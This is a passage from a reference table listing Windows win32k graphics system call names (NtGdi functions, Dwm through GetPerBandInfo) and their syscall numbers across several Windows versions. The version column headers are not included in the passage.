NtGdiDwmGetDirtyRgn |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12bc  |  0x12bc  |  0x12bc  |     |  0x12bc  |     |      
NtGdiDwmGetSurfaceData |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12bd  |  0x12bd  |  0x12bd  |     |  0x12bd  |     |      
NtGdiDxgGenericThunk |     |     |     |     |     |     |     |     |     |     |  0x1076  |  0x1076  |  0x1076  |     |  0x1076  |  0x1076  |  0x1078  |  0x1078  |  0x1078  |     |  0x1078  |     |  0x1079   
NtGdiEllipse |     |     |     |  0x1055  |     |     |  0x107b  |     |  0x107b  |     |  0x1080  |  0x1080  |  0x1080  |     |  0x1080  |  0x1080  |  0x1083  |  0x1083  |  0x1083  |     |  0x1083  |     |  0x1084   
NtGdiEnableEudc |     |     |     |     |     |     |  0x107c  |     |  0x107c  |     |  0x1081  |  0x1081  |  0x1081  |     |  0x1081  |  0x1081  |  0x1084  |  0x1084  |  0x1084  |     |  0x1084  |     |  0x1085   
NtGdiEndDoc |     |     |     |  0x1056  |     |     |  0x107d  |     |  0x107d  |     |  0x1082  |  0x1082  |  0x1082  |     |  0x1082  |  0x1082  |  0x1085  |  0x1085  |  0x1085  |     |  0x1085  |     |  0x1086   
NtGdiEndGdiRendering |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1087   
NtGdiEndPage |     |     |     |  0x1057  |     |     |  0x107e  |     |  0x107e  |     |  0x1083  |  0x1083  |  0x1083  |     |  0x1083  |  0x1083  |  0x1086  |  0x1086  |  0x1086  |     |  0x1086  |     |  0x1088   
NtGdiEndPath |     |     |     |  0x1058  |     |     |  0x107f  |     |  0x107f  |     |  0x1084  |  0x1084  |  0x1084  |     |  0x1084  |  0x1084  |  0x1087  |  0x1087  |  0x1087  |     |  0x1087  |     |  0x1089   
NtGdiEngAlphaBlend |     |     |     |     |     |     |  0x1254  |     |  0x1254  |     |  0x126c  |  0x126c  |  0x126c  |     |  0x1268  |  0x1268  |  0x128d  |  0x128d  |  0x128d  |     |  0x128d  |     |  0x12ad   
NtGdiEngAssociateSurface |     |     |     |     |     |     |  0x123f  |     |  0x123f  |     |  0x1257  |  0x1257  |  0x1257  |     |  0x1253  |  0x1253  |  0x1278  |  0x1278  |  0x1278  |     |  0x1278  |     |  0x1298   
NtGdiEngBitBlt |     |     |     |     |     |     |  0x124b  |     |  0x124b  |     |  0x1263  |  0x1263  |  0x1263  |     |  0x125f  |  0x125f  |  0x1284  |  0x1284  |  0x1284  |     |  0x1284  |     |  0x12a4   
NtGdiEngCheckAbort |     |     |     |     |     |     |  0x127b  |     |  0x127b  |     |  0x1293  |  0x1293  |  0x1293  |     |  0x128f  |  0x128f  |  0x12b4  |  0x12b4  |  0x12b4  |     |  0x12b4  |     |  0x12d4   
NtGdiEngComputeGlyphSet |     |     |     |     |     |     |  0x1244  |     |  0x1244  |     |  0x125c  |  0x125c  |  0x125c  |     |  0x1258  |  0x1258  |  0x127d  |  0x127d  |  0x127d  |     |  0x127d  |     |  0x129d   
NtGdiEngCopyBits |     |     |     |     |     |     |  0x1245  |     |  0x1245  |     |  0x125d  |  0x125d  |  0x125d  |     |  0x1259  |  0x1259  |  0x127e  |  0x127e  |  0x127e  |     |  0x127e  |     |  0x129e   
NtGdiEngCreateBitmap |     |     |     |     |     |     |  0x1240  |     |  0x1240  |     |  0x1258  |  0x1258  |  0x1258  |     |  0x1254  |  0x1254  |  0x1279  |  0x1279  |  0x1279  |     |  0x1279  |     |  0x1299   
NtGdiEngCreateClip |     |     |     |     |     |     |  0x1260  |     |  0x1260  |     |  0x1278  |  0x1278  |  0x1278  |     |  0x1274  |  0x1274  |  0x1299  |  0x1299  |  0x1299  |     |  0x1299  |     |  0x12b9   
NtGdiEngCreateDeviceBitmap |     |     |     |     |     |     |  0x1242  |     |  0x1242  |     |  0x125a  |  0x125a  |  0x125a  |     |  0x1256  |  0x1256  |  0x127b  |  0x127b  |  0x127b  |     |  0x127b  |     |  0x129b   
NtGdiEngCreateDeviceSurface |     |     |     |     |     |     |  0x1241  |     |  0x1241  |     |  0x1259  |  0x1259  |  0x1259  |     |  0x1255  |  0x1255  |  0x127a  |  0x127a  |  0x127a  |     |  0x127a  |     |  0x129a   
NtGdiEngCreatePalette |     |     |     |     |     |     |  0x1243  |     |  0x1243  |     |  0x125b  |  0x125b  |  0x125b  |     |  0x1257  |  0x1257  |  0x127c  |  0x127c  |  0x127c  |     |  0x127c  |     |  0x129c   
NtGdiEngDeleteClip |     |     |     |     |     |     |  0x1261  |     |  0x1261  |     |  0x1279  |  0x1279  |  0x1279  |     |  0x1275  |  0x1275  |  0x129a  |  0x129a  |  0x129a  |     |  0x129a  |     |  0x12ba   
NtGdiEngDeletePalette |     |     |     |     |     |     |  0x1246  |     |  0x1246  |     |  0x125e  |  0x125e  |  0x125e  |     |  0x125a  |  0x125a  |  0x127f  |  0x127f  |  0x127f  |     |  0x127f  |     |  0x129f   
NtGdiEngDeletePath |     |     |     |     |     |     |  0x125f  |     |  0x125f  |     |  0x1277  |  0x1277  |  0x1277  |     |  0x1273  |  0x1273  |  0x1298  |  0x1298  |  0x1298  |     |  0x1298  |     |  0x12b8   
NtGdiEngDeleteSurface |     |     |     |     |     |     |  0x1247  |     |  0x1247  |     |  0x125f  |  0x125f  |  0x125f  |     |  0x125b  |  0x125b  |  0x1280  |  0x1280  |  0x1280  |     |  0x1280  |     |  0x12a0   
NtGdiEngEraseSurface |     |     |     |     |     |     |  0x1248  |     |  0x1248  |     |  0x1260  |  0x1260  |  0x1260  |     |  0x125c  |  0x125c  |  0x1281  |  0x1281  |  0x1281  |     |  0x1281  |     |  0x12a1   
NtGdiEngFillPath |     |     |     |     |     |     |  0x1250  |     |  0x1250  |     |  0x1268  |  0x1268  |  0x1268  |     |  0x1264  |  0x1264  |  0x1289  |  0x1289  |  0x1289  |     |  0x1289  |     |  0x12a9   
NtGdiEngGradientFill |     |     |     |     |     |     |  0x1255  |     |  0x1255  |     |  0x126d  |  0x126d  |  0x126d  |     |  0x1269  |  0x1269  |  0x128e  |  0x128e  |  0x128e  |     |  0x128e  |     |  0x12ae   
NtGdiEngLineTo |     |     |     |     |     |     |  0x1253  |     |  0x1253  |     |  0x126b  |  0x126b  |  0x126b  |     |  0x1267  |  0x1267  |  0x128c  |  0x128c  |  0x128c  |     |  0x128c  |     |  0x12ac   
NtGdiEngLockSurface |     |     |     |     |     |     |  0x124a  |     |  0x124a  |     |  0x1262  |  0x1262  |  0x1262  |     |  0x125e  |  0x125e  |  0x1283  |  0x1283  |  0x1283  |     |  0x1283  |     |  0x12a3   
NtGdiEngMarkBandingSurface |     |     |     |     |     |     |  0x124e  |     |  0x124e  |     |  0x1266  |  0x1266  |  0x1266  |     |  0x1262  |  0x1262  |  0x1287  |  0x1287  |  0x1287  |     |  0x1287  |     |  0x12a7   
NtGdiEngPaint |     |     |     |     |     |     |  0x1252  |     |  0x1252  |     |  0x126a  |  0x126a  |  0x126a  |     |  0x1266  |  0x1266  |  0x128b  |  0x128b  |  0x128b  |     |  0x128b  |     |  0x12ab   
NtGdiEngPlgBlt |     |     |     |     |     |     |  0x124d  |     |  0x124d  |     |  0x1265  |  0x1265  |  0x1265  |     |  0x1261  |  0x1261  |  0x1286  |  0x1286  |  0x1286  |     |  0x1286  |     |  0x12a6   
NtGdiEngStretchBlt |     |     |     |     |     |     |  0x124c  |     |  0x124c  |     |  0x1264  |  0x1264  |  0x1264  |     |  0x1260  |  0x1260  |  0x1285  |  0x1285  |  0x1285  |     |  0x1285  |     |  0x12a5   
NtGdiEngStretchBltROP |     |     |     |     |     |     |  0x1258  |     |  0x1258  |     |  0x1270  |  0x1270  |  0x1270  |     |  0x126c  |  0x126c  |  0x1291  |  0x1291  |  0x1291  |     |  0x1291  |     |  0x12b1   
NtGdiEngStrokeAndFillPath |     |     |     |     |     |     |  0x1251  |     |  0x1251  |     |  0x1269  |  0x1269  |  0x1269  |     |  0x1265  |  0x1265  |  0x128a  |  0x128a  |  0x128a  |     |  0x128a  |     |  0x12aa   
NtGdiEngStrokePath |     |     |     |     |     |     |  0x124f  |     |  0x124f  |     |  0x1267  |  0x1267  |  0x1267  |     |  0x1263  |  0x1263  |  0x1288  |  0x1288  |  0x1288  |     |  0x1288  |     |  0x12a8   
NtGdiEngTextOut |     |     |     |     |     |     |  0x1257  |     |  0x1257  |     |  0x126f  |  0x126f  |  0x126f  |     |  0x126b  |  0x126b  |  0x1290  |  0x1290  |  0x1290  |     |  0x1290  |     |  0x12b0   
NtGdiEngTransparentBlt |     |     |     |     |     |     |  0x1256  |     |  0x1256  |     |  0x126e  |  0x126e  |  0x126e  |     |  0x126a  |  0x126a  |  0x128f  |  0x128f  |  0x128f  |     |  0x128f  |     |  0x12af   
NtGdiEngUnlockSurface |     |     |     |     |     |     |  0x1249  |     |  0x1249  |     |  0x1261  |  0x1261  |  0x1261  |     |  0x125d  |  0x125d  |  0x1282  |  0x1282  |  0x1282  |     |  0x1282  |     |  0x12a2   
NtGdiEnumFontChunk |     |     |     |  0x1059  |     |     |  0x1080  |     |  0x1080  |     |  0x1085  |  0x1085  |  0x1085  |     |  0x1085  |  0x1085  |  0x1088  |  0x1088  |  0x1088  |     |  0x1088  |     |      
NtGdiEnumFontClose |     |     |     |  0x105a  |     |     |  0x1081  |     |  0x1081  |     |  0x1086  |  0x1086  |  0x1086  |     |  0x1086  |  0x1086  |  0x1089  |  0x1089  |  0x1089  |     |  0x1089  |     |      
NtGdiEnumFontOpen |     |     |     |  0x105b  |     |     |  0x1082  |     |  0x1082  |     |  0x1087  |  0x1087  |  0x1087  |     |  0x1087  |  0x1087  |  0x108a  |  0x108a  |  0x108a  |     |  0x108a  |     |      
NtGdiEnumFonts |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x108a   
NtGdiEnumObjects |     |     |     |  0x105c  |     |     |  0x1083  |     |  0x1083  |     |  0x1088  |  0x1088  |  0x1088  |     |  0x1088  |  0x1088  |  0x108b  |  0x108b  |  0x108b  |     |  0x108b  |     |  0x108b   
NtGdiEqualRgn |     |     |     |  0x105d  |     |     |  0x1084  |     |  0x1084  |     |  0x1089  |  0x1089  |  0x1089  |     |  0x1089  |  0x1089  |  0x108c  |  0x108c  |  0x108c  |     |  0x108c  |     |  0x108c   
NtGdiEudcEnumFaceNameLinkW |     |     |     |     |     |     |  0x1085  |     |  0x1085  |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiEudcLoadUnloadLink |     |     |     |     |     |     |  0x1086  |     |  0x1086  |     |  0x108a  |  0x108a  |  0x108a  |     |  0x108a  |  0x108a  |  0x108d  |  0x108d  |  0x108d  |     |  0x108d  |     |  0x108d   
NtGdiExcludeClipRect |     |     |     |  0x105e  |     |     |  0x1087  |     |  0x1087  |     |  0x108b  |  0x108b  |  0x108b  |     |  0x108b  |  0x108b  |  0x108e  |  0x108e  |  0x108e  |     |  0x108e  |     |  0x108e   
NtGdiExtCreatePen |     |     |     |  0x105f  |     |     |  0x1088  |     |  0x1088  |     |  0x108c  |  0x108c  |  0x108c  |     |  0x108c  |  0x108c  |  0x108f  |  0x108f  |  0x108f  |     |  0x108f  |     |  0x108f   
NtGdiExtCreateRegion |     |     |     |  0x1060  |     |     |  0x1089  |     |  0x1089  |     |  0x108d  |  0x108d  |  0x108d  |     |  0x108d  |  0x108d  |  0x1090  |  0x1090  |  0x1090  |     |  0x1090  |     |  0x1090   
NtGdiExtEscape |     |     |     |  0x1061  |     |     |  0x108a  |     |  0x108a  |     |  0x108e  |  0x108e  |  0x108e  |     |  0x108e  |  0x108e  |  0x1091  |  0x1091  |  0x1091  |     |  0x1091  |     |  0x1091   
NtGdiExtFloodFill |     |     |     |  0x1062  |     |     |  0x108b  |     |  0x108b  |     |  0x108f  |  0x108f  |  0x108f  |     |  0x108f  |  0x108f  |  0x1092  |  0x1092  |  0x1092  |     |  0x1092  |     |  0x1092   
NtGdiExtGetObjectW |     |     |     |  0x1063  |     |     |  0x108c  |     |  0x108c  |     |  0x1090  |  0x1090  |  0x1090  |     |  0x1090  |  0x1090  |  0x1093  |  0x1093  |  0x1093  |     |  0x1093  |     |  0x1093   
NtGdiExtSelectClipRgn |     |     |     |  0x1064  |     |     |  0x108d  |     |  0x108d  |     |  0x1091  |  0x1091  |  0x1091  |     |  0x1091  |  0x1091  |  0x1094  |  0x1094  |  0x1094  |     |  0x1094  |     |  0x1094   
NtGdiExtTextOutW |     |     |     |  0x1065  |     |     |  0x108e  |     |  0x108e  |     |  0x1092  |  0x1092  |  0x1092  |     |  0x1092  |  0x1092  |  0x1095  |  0x1095  |  0x1095  |     |  0x1095  |     |  0x1095   
NtGdiFONTOBJ\_cGetAllGlyphHandles |     |     |     |     |     |     |  0x126f  |     |  0x126f  |     |  0x1287  |  0x1287  |  0x1287  |     |  0x1283  |  0x1283  |  0x12a8  |  0x12a8  |  0x12a8  |     |  0x12a8  |     |  0x12c8   
NtGdiFONTOBJ\_cGetGlyphs |     |     |     |     |     |     |  0x126a  |     |  0x126a  |     |  0x1282  |  0x1282  |  0x1282  |     |  0x127e  |  0x127e  |  0x12a3  |  0x12a3  |  0x12a3  |     |  0x12a3  |     |  0x12c3   
NtGdiFONTOBJ\_pQueryGlyphAttrs |     |     |     |     |     |     |  0x126d  |     |  0x126d  |     |  0x1285  |  0x1285  |  0x1285  |     |  0x1281  |  0x1281  |  0x12a6  |  0x12a6  |  0x12a6  |     |  0x12a6  |     |  0x12c6   
NtGdiFONTOBJ\_pfdg |     |     |     |     |     |     |  0x126c  |     |  0x126c  |     |  0x1284  |  0x1284  |  0x1284  |     |  0x1280  |  0x1280  |  0x12a5  |  0x12a5  |  0x12a5  |     |  0x12a5  |     |  0x12c5   
NtGdiFONTOBJ\_pifi |     |     |     |     |     |     |  0x126b  |     |  0x126b  |     |  0x1283  |  0x1283  |  0x1283  |     |  0x127f  |  0x127f  |  0x12a4  |  0x12a4  |  0x12a4  |     |  0x12a4  |     |  0x12c4   
NtGdiFONTOBJ\_pvTrueTypeFontFile |     |     |     |     |     |     |  0x126e  |     |  0x126e  |     |  0x1286  |  0x1286  |  0x1286  |     |  0x1282  |  0x1282  |  0x12a7  |  0x12a7  |  0x12a7  |     |  0x12a7  |     |  0x12c7   
NtGdiFONTOBJ\_pxoGetXform |     |     |     |     |     |     |  0x1269  |     |  0x1269  |     |  0x1281  |  0x1281  |  0x1281  |     |  0x127d  |  0x127d  |  0x12a2  |  0x12a2  |  0x12a2  |     |  0x12a2  |     |  0x12c2   
NtGdiFONTOBJ\_vGetInfo |     |     |     |     |     |     |  0x1268  |     |  0x1268  |     |  0x1280  |  0x1280  |  0x1280  |     |  0x127c  |  0x127c  |  0x12a1  |  0x12a1  |  0x12a1  |     |  0x12a1  |     |  0x12c1   
NtGdiFillPath |     |     |     |  0x1066  |     |     |  0x108f  |     |  0x108f  |     |  0x1093  |  0x1093  |  0x1093  |     |  0x1093  |  0x1093  |  0x1096  |  0x1096  |  0x1096  |     |  0x1096  |     |  0x1096   
NtGdiFillRgn |     |     |     |  0x1067  |     |     |  0x1090  |     |  0x1090  |     |  0x1094  |  0x1094  |  0x1094  |     |  0x1094  |  0x1094  |  0x1097  |  0x1097  |  0x1097  |     |  0x1097  |     |  0x1097   
NtGdiFixUpHandle |     |     |     |  0x1068  |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |      
NtGdiFlattenPath |     |     |     |  0x1069  |     |     |  0x1091  |     |  0x1091  |     |  0x1095  |  0x1095  |  0x1095  |     |  0x1095  |  0x1095  |  0x1098  |  0x1098  |  0x1098  |     |  0x1098  |     |  0x1098   
NtGdiFlush |     |     |     |  0x106b  |     |     |     |     |     |     |  0x1097  |  0x1097  |  0x1097  |     |  0x1096  |  0x1096  |  0x1099  |  0x1099  |  0x1099  |     |  0x1099  |     |  0x1099   
NtGdiFlushUserBatch |     |     |     |  0x106a  |     |     |  0x1092  |     |  0x1092  |     |  0x1096  |  0x1096  |  0x1096  |     |     |     |     |     |     |     |     |     |      
NtGdiFontIsLinked |     |     |     |     |     |     |  0x100a  |     |  0x100a  |     |  0x100a  |  0x100a  |  0x100a  |     |  0x100a  |  0x100a  |  0x100a  |  0x100a  |  0x100a  |     |  0x100a  |     |  0x100a   
NtGdiForceUFIMapping |     |     |     |  0x106c  |     |     |  0x1094  |     |  0x1094  |     |  0x1098  |  0x1098  |  0x1098  |     |  0x1097  |  0x1097  |  0x109a  |  0x109a  |  0x109a  |     |  0x109a  |     |  0x109a   
NtGdiFrameRgn |     |     |     |  0x106d  |     |     |  0x1095  |     |  0x1095  |     |  0x1099  |  0x1099  |  0x1099  |     |  0x1098  |  0x1098  |  0x109b  |  0x109b  |  0x109b  |     |  0x109b  |     |  0x109b   
NtGdiFullscreenControl |     |     |     |     |     |     |  0x1096  |     |  0x1096  |     |  0x109a  |  0x109a  |  0x109a  |     |  0x1099  |  0x1099  |  0x109c  |  0x109c  |  0x109c  |     |  0x109c  |     |  0x109c   
NtGdiGetAndSetDCDword |     |     |     |  0x106e  |     |     |  0x1097  |     |  0x1097  |     |  0x109b  |  0x109b  |  0x109b  |     |  0x109a  |  0x109a  |  0x109d  |  0x109d  |  0x109d  |     |  0x109d  |     |  0x109d   
NtGdiGetAppClipBox |     |     |     |  0x106f  |     |     |  0x1098  |     |  0x1098  |     |  0x109c  |  0x109c  |  0x109c  |     |  0x109b  |  0x109b  |  0x109e  |  0x109e  |  0x109e  |     |  0x109e  |     |  0x109e   
NtGdiGetBitmapBits |     |     |     |  0x1070  |     |     |  0x1099  |     |  0x1099  |     |  0x109d  |  0x109d  |  0x109d  |     |  0x109c  |  0x109c  |  0x109f  |  0x109f  |  0x109f  |     |  0x109f  |     |  0x109f   
NtGdiGetBitmapDimension |     |     |     |  0x1071  |     |     |  0x109a  |     |  0x109a  |     |  0x109e  |  0x109e  |  0x109e  |     |  0x109d  |  0x109d  |  0x10a0  |  0x10a0  |  0x10a0  |     |  0x10a0  |     |  0x10a0   
NtGdiGetBoundsRect |     |     |     |  0x1072  |     |     |  0x109b  |     |  0x109b  |     |  0x109f  |  0x109f  |  0x109f  |     |  0x109e  |  0x109e  |  0x10a1  |  0x10a1  |  0x10a1  |     |  0x10a1  |     |  0x10a1   
NtGdiGetCOPPCompatibleOPMInformation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10ab  |  0x10ab  |  0x10ab  |     |  0x10ab  |     |  0x10ab   
NtGdiGetCertificate |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10a2  |  0x10a2  |  0x10a2  |     |  0x10a2  |     |  0x10a2   
NtGdiGetCertificateSize |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10a3  |  0x10a3  |  0x10a3  |     |  0x10a3  |     |  0x10a3   
NtGdiGetCharABCWidthsW |     |     |     |  0x1073  |     |     |  0x109c  |     |  0x109c  |     |  0x10a0  |  0x10a0  |  0x10a0  |     |  0x109f  |  0x109f  |  0x10a4  |  0x10a4  |  0x10a4  |     |  0x10a4  |     |  0x10a4   
NtGdiGetCharSet |     |     |     |  0x1075  |     |     |  0x109e  |     |  0x109e  |     |  0x10a2  |  0x10a2  |  0x10a2  |     |  0x10a1  |  0x10a1  |  0x10a6  |  0x10a6  |  0x10a6  |     |  0x10a6  |     |  0x10a6   
NtGdiGetCharWidthInfo |     |     |     |  0x1077  |     |     |  0x10a0  |     |  0x10a0  |     |  0x10a4  |  0x10a4  |  0x10a4  |     |  0x10a3  |  0x10a3  |  0x10a8  |  0x10a8  |  0x10a8  |     |  0x10a8  |     |  0x10a8   
NtGdiGetCharWidthW |     |     |     |  0x1076  |     |     |  0x109f  |     |  0x109f  |     |  0x10a3  |  0x10a3  |  0x10a3  |     |  0x10a2  |  0x10a2  |  0x10a7  |  0x10a7  |  0x10a7  |     |  0x10a7  |     |  0x10a7   
NtGdiGetCharacterPlacementW |     |     |     |  0x1074  |     |     |  0x109d  |     |  0x109d  |     |  0x10a1  |  0x10a1  |  0x10a1  |     |  0x10a0  |  0x10a0  |  0x10a5  |  0x10a5  |  0x10a5  |     |  0x10a5  |     |  0x10a5   
NtGdiGetColorAdjustment |     |     |     |  0x1078  |     |     |  0x10a1  |     |  0x10a1  |     |  0x10a5  |  0x10a5  |  0x10a5  |     |  0x10a4  |  0x10a4  |  0x10a9  |  0x10a9  |  0x10a9  |     |  0x10a9  |     |  0x10a9   
NtGdiGetColorSpaceforBitmap |     |     |     |     |     |     |  0x10a2  |     |  0x10a2  |     |  0x10a6  |  0x10a6  |  0x10a6  |     |  0x10a5  |  0x10a5  |  0x10aa  |  0x10aa  |  0x10aa  |     |  0x10aa  |     |  0x10aa   
NtGdiGetDCDword |     |     |     |  0x1079  |     |     |  0x10a3  |     |  0x10a3  |     |  0x10a7  |  0x10a7  |  0x10a7  |     |  0x10a6  |  0x10a6  |  0x10ac  |  0x10ac  |  0x10ac  |     |  0x10ac  |     |  0x10ac   
NtGdiGetDCObject |     |     |     |  0x107b  |     |     |  0x10a5  |     |  0x10a5  |     |  0x10a9  |  0x10a9  |  0x10a9  |     |  0x10a8  |  0x10a8  |  0x10ae  |  0x10ae  |  0x10ae  |     |  0x10ae  |     |  0x10ae   
NtGdiGetDCPoint |     |     |     |  0x107c  |     |     |  0x10a6  |     |  0x10a6  |     |  0x10aa  |  0x10aa  |  0x10aa  |     |  0x10a9  |  0x10a9  |  0x10af  |  0x10af  |  0x10af  |     |  0x10af  |     |  0x10af   
NtGdiGetDCforBitmap |     |     |     |  0x107a  |     |     |  0x10a4  |     |  0x10a4  |     |  0x10a8  |  0x10a8  |  0x10a8  |     |  0x10a7  |  0x10a7  |  0x10ad  |  0x10ad  |  0x10ad  |     |  0x10ad  |     |  0x10ad   
NtGdiGetDIBitsInternal |     |     |     |  0x107f  |     |     |  0x10aa  |     |  0x10aa  |     |  0x10ae  |  0x10ae  |  0x10ae  |     |  0x10ad  |  0x10ad  |  0x10b3  |  0x10b3  |  0x10b3  |     |  0x10b3  |     |  0x10b3   
NtGdiGetDeviceCaps |     |     |     |  0x107d  |     |     |  0x10a7  |     |  0x10a7  |     |  0x10ab  |  0x10ab  |  0x10ab  |     |  0x10aa  |  0x10aa  |  0x10b0  |  0x10b0  |  0x10b0  |     |  0x10b0  |     |  0x10b0   
NtGdiGetDeviceCapsAll |     |     |     |  0x107e  |     |     |  0x10a9  |     |  0x10a9  |     |  0x10ad  |  0x10ad  |  0x10ad  |     |  0x10ac  |  0x10ac  |  0x10b2  |  0x10b2  |  0x10b2  |     |  0x10b2  |     |  0x10b2   
NtGdiGetDeviceGammaRamp |     |     |     |     |     |     |  0x10a8  |     |  0x10a8  |     |  0x10ac  |  0x10ac  |  0x10ac  |     |  0x10ab  |  0x10ab  |  0x10b1  |  0x10b1  |  0x10b1  |     |  0x10b1  |     |  0x10b1   
NtGdiGetDeviceWidth |     |     |     |     |     |     |  0x110d  |     |  0x110d  |     |  0x1117  |  0x1117  |  0x1117  |     |  0x1116  |  0x1116  |  0x111f  |  0x111f  |  0x111f  |     |  0x111f  |     |  0x1121   
NtGdiGetDhpdev |     |     |     |     |     |     |  0x127a  |     |  0x127a  |     |  0x1292  |  0x1292  |  0x1292  |     |  0x128e  |  0x128e  |  0x12b3  |  0x12b3  |  0x12b3  |     |  0x12b3  |     |  0x12d3   
NtGdiGetETM |     |     |     |  0x1080  |     |     |  0x10ab  |     |  0x10ab  |     |  0x10af  |  0x10af  |  0x10af  |     |  0x10ae  |  0x10ae  |  0x10b4  |  0x10b4  |  0x10b4  |     |  0x10b4  |     |  0x10b4   
NtGdiGetEmbUFI |     |     |     |     |     |     |     |     |     |     |  0x10d2  |  0x10d2  |  0x10d2  |     |  0x10d1  |  0x10d1  |  0x10da  |  0x10da  |  0x10da  |     |  0x10da  |     |  0x10dc   
NtGdiGetEmbedFonts |     |     |     |     |     |     |     |     |     |     |  0x10d4  |  0x10d4  |  0x10d4  |     |  0x10d3  |  0x10d3  |  0x10dc  |  0x10dc  |  0x10dc  |     |  0x10dc  |     |  0x10de   
NtGdiGetEudcTimeStampEx |     |     |     |     |     |     |  0x10ac  |     |  0x10ac  |     |  0x10b0  |  0x10b0  |  0x10b0  |     |  0x10af  |  0x10af  |  0x10b5  |  0x10b5  |  0x10b5  |     |  0x10b5  |     |  0x10b5   
NtGdiGetFontData |     |     |     |  0x1081  |     |     |  0x10ad  |     |  0x10ad  |     |  0x10b1  |  0x10b1  |  0x10b1  |     |  0x10b0  |  0x10b0  |  0x10b6  |  0x10b6  |  0x10b6  |     |  0x10b6  |     |  0x10b6   
NtGdiGetFontFileData |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10b7   
NtGdiGetFontFileInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10b8   
NtGdiGetFontResourceInfoInternalW |     |     |     |  0x1082  |     |     |  0x10ae  |     |  0x10ae  |     |  0x10b2  |  0x10b2  |  0x10b2  |     |  0x10b1  |  0x10b1  |  0x10b7  |  0x10b7  |  0x10b7  |     |  0x10b7  |     |  0x10b9   
NtGdiGetFontUnicodeRanges |     |     |     |     |     |     |  0x10cf  |     |  0x10cf  |     |  0x10d7  |  0x10d7  |  0x10d7  |     |  0x10d6  |  0x10d6  |  0x10df  |  0x10df  |  0x10df  |     |  0x10df  |     |  0x10e1   
NtGdiGetGlyphIndicesW |     |     |     |     |     |     |  0x10af  |     |  0x10af  |     |  0x10b3  |  0x10b3  |  0x10b3  |     |  0x10b2  |  0x10b2  |  0x10b8  |  0x10b8  |  0x10b8  |     |  0x10b8  |     |  0x10ba   
NtGdiGetGlyphIndicesWInternal |     |     |     |     |     |     |  0x10b0  |     |  0x10b0  |     |  0x10b4  |  0x10b4  |  0x10b4  |     |  0x10b3  |  0x10b3  |  0x10b9  |  0x10b9  |  0x10b9  |     |  0x10b9  |     |  0x10bb   
NtGdiGetGlyphOutline |     |     |     |  0x1083  |     |     |  0x10b1  |     |  0x10b1  |     |  0x10b5  |  0x10b5  |  0x10b5  |     |  0x10b4  |  0x10b4  |  0x10ba  |  0x10ba  |  0x10ba  |     |  0x10ba  |     |  0x10bc   
NtGdiGetKerningPairs |     |     |     |  0x1084  |     |     |  0x10b2  |     |  0x10b2  |     |  0x10b6  |  0x10b6  |  0x10b6  |     |  0x10b5  |  0x10b5  |  0x10bc  |  0x10bc  |  0x10bc  |     |  0x10bc  |     |  0x10be   
NtGdiGetLinkedUFIs |     |     |     |     |     |     |  0x10b3  |     |  0x10b3  |     |  0x10b7  |  0x10b7  |  0x10b7  |     |  0x10b6  |  0x10b6  |  0x10bd  |  0x10bd  |  0x10bd  |     |  0x10bd  |     |  0x10bf   
NtGdiGetMiterLimit |     |     |     |  0x1085  |     |     |  0x10b4  |     |  0x10b4  |     |  0x10b8  |  0x10b8  |  0x10b8  |     |  0x10b7  |  0x10b7  |  0x10be  |  0x10be  |  0x10be  |     |  0x10be  |     |  0x10c0   
NtGdiGetMonitorID |     |     |     |     |     |     |  0x10b5  |     |  0x10b5  |     |  0x10b9  |  0x10b9  |  0x10b9  |     |  0x10b8  |  0x10b8  |  0x10bf  |  0x10bf  |  0x10bf  |     |  0x10bf  |     |  0x10c1   
NtGdiGetNearestColor |     |     |     |  0x1086  |     |     |  0x10b6  |     |  0x10b6  |     |  0x10ba  |  0x10ba  |  0x10ba  |     |  0x10b9  |  0x10b9  |  0x10c0  |  0x10c0  |  0x10c0  |     |  0x10c0  |     |  0x10c2   
NtGdiGetNearestPaletteIndex |     |     |     |  0x1087  |     |     |  0x10b7  |     |  0x10b7  |     |  0x10bb  |  0x10bb  |  0x10bb  |     |  0x10ba  |  0x10ba  |  0x10c1  |  0x10c1  |  0x10c1  |     |  0x10c1  |     |  0x10c3   
NtGdiGetNumberOfPhysicalMonitors |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f8  |  0x12f8  |  0x12f8  |     |  0x12f8  |     |  0x1324   
NtGdiGetOPMInformation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10bb  |  0x10bb  |  0x10bb  |     |  0x10bb  |     |  0x10bd   
NtGdiGetOPMRandomNumber |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x10c3  |  0x10c3  |  0x10c3  |     |  0x10c3  |     |  0x10c5   
NtGdiGetObjectBitmapHandle |     |     |     |  0x1088  |     |     |  0x10b8  |     |  0x10b8  |     |  0x10bc  |  0x10bc  |  0x10bc  |     |  0x10bb  |  0x10bb  |  0x10c2  |  0x10c2  |  0x10c2  |     |  0x10c2  |     |  0x10c4   
NtGdiGetOutlineTextMetricsInternalW |     |     |     |  0x1089  |     |     |  0x10b9  |     |  0x10b9  |     |  0x10bd  |  0x10bd  |  0x10bd  |     |  0x10bc  |  0x10bc  |  0x10c4  |  0x10c4  |  0x10c4  |     |  0x10c4  |     |  0x10c6   
NtGdiGetPath |     |     |     |  0x108a  |     |     |  0x10ba  |     |  0x10ba  |     |  0x10be  |  0x10be  |  0x10be  |     |  0x10bd  |  0x10bd  |  0x10c5  |  0x10c5  |  0x10c5  |     |  0x10c5  |     |  0x10c7   
NtGdiGetPerBandInfo |     |     |     |     |     |     |  0x1077  |     |  0x1077  |     |  0x107c  |  0x107c  |  0x107c  |     |  0x107c  |  0x107c  |  0x107f  |  0x107f  |  0x107f  |     |  0x107f  |     |  0x1080   
